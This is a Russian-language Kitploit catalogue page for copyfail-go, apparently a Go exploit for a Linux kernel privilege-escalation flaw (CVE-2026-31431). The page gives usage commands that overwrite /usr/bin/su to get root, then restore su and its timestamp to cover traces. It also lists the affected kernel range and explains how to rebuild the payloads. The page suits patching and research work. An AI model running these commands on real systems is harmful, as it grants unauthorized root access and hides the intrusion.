Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/badsectorlabs/copyfail-go
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubbadsectorlabs/copyfail-go

copyfail-go

A Go-реализация copyfail (CVE-2026-31431)

Репозиторий
361783 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CopyFail Go

Большинство LPE-уязвимостей в Linux требуют гонки (race window) или специфичного для ядра смещения. Copy Fail — это прямолинейный логический изъян: ему не нужно ни то, ни другое. Один и тот же 732-байтный Python-скрипт статический Go-бинарник даёт root на всех дистрибутивах Linux, выпущенных с 2017 года.

Go-реализация CVE-2026-31431. На случай, если вам нужен статический бинарник без зависимости от Python.

Подробнее см. copy.fail.

Интерактивная оболочка

root@kitploit:~
# Получите бинарник на ваш Linux-хост с возможностью выполнения кода (упражнение для читателя)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su    # Восстановите исходный бинарник su
root@host# touch -r /tmp/su /usr/bin/su # Восстановите время модификации исходного su
root@host# rm /tmp/su
root@host# # Делайте что угодно от root =)

Запуск бинарника от root

Полезно для повышения привилегий программы до root

root@kitploit:~
# Получите бинарник на ваш Linux-хост с возможностью выполнения кода (упражнение для читателя)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Используйте то, что вы запустили, чтобы восстановить su из /tmp/su

Не доверяете этим hex-блокам?

Скомпилируйте пейлоады самостоятельно с помощью payloads/build-n-print.sh на хосте с Debian (проверено на Debian 13).

Вам понадобится выполнить apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf, а затем запустить скрипт из каталога payloads. Он скомпилирует каждый пейлоад и выведет hex-строки, сжатые zlib. Сравните их с тем, что находится в main.go (или замените их своими), и соберите бинарники copyfile-go с помощью goreleaser build --snapshot --clean из главного каталога проекта.

Затронутые ядра (из copy-fail-c)

root@kitploit:~
floor:    torvalds/linux 72548b093ee3   август 2017, v4.14
                                        (переработка iov_iter в AF_ALG,
                                         которая ввела примитив записи
                                         файловых страниц через splice
                                         в AEAD scatterlist)

ceiling:  torvalds/linux a664bf3d603d   апрель 2026, mainline
                                        (откат оптимизации algif_aead
                                         in-place от 2017 года; разделяет
                                         исходный и целевой scatterlist,
                                         поэтому страницы page-cache больше
                                         не могут быть доступным для записи
                                         криптографическим назначением)

Между ними: все основные дистрибутивные ядра, которые не перенесли исправление. Ubuntu, RHEL, SUSE, Amazon Linux и Debian — все были подтверждены уязвимыми в своих стандартных облачных образах ядер на момент раскрытия. Переносы исправлений на уровне дистрибутивов начали выходить примерно 2026-04-29 одновременно с публичным раскрытием. Чтобы проверить, попадает ли целевое ядро в окно уязвимости, проверьте, присутствует ли a664bf3d603d (или его специфичный для дистрибутива бэкпорт) в git-логе ядра или в журнале изменений дистрибутива.

Скачать инструмент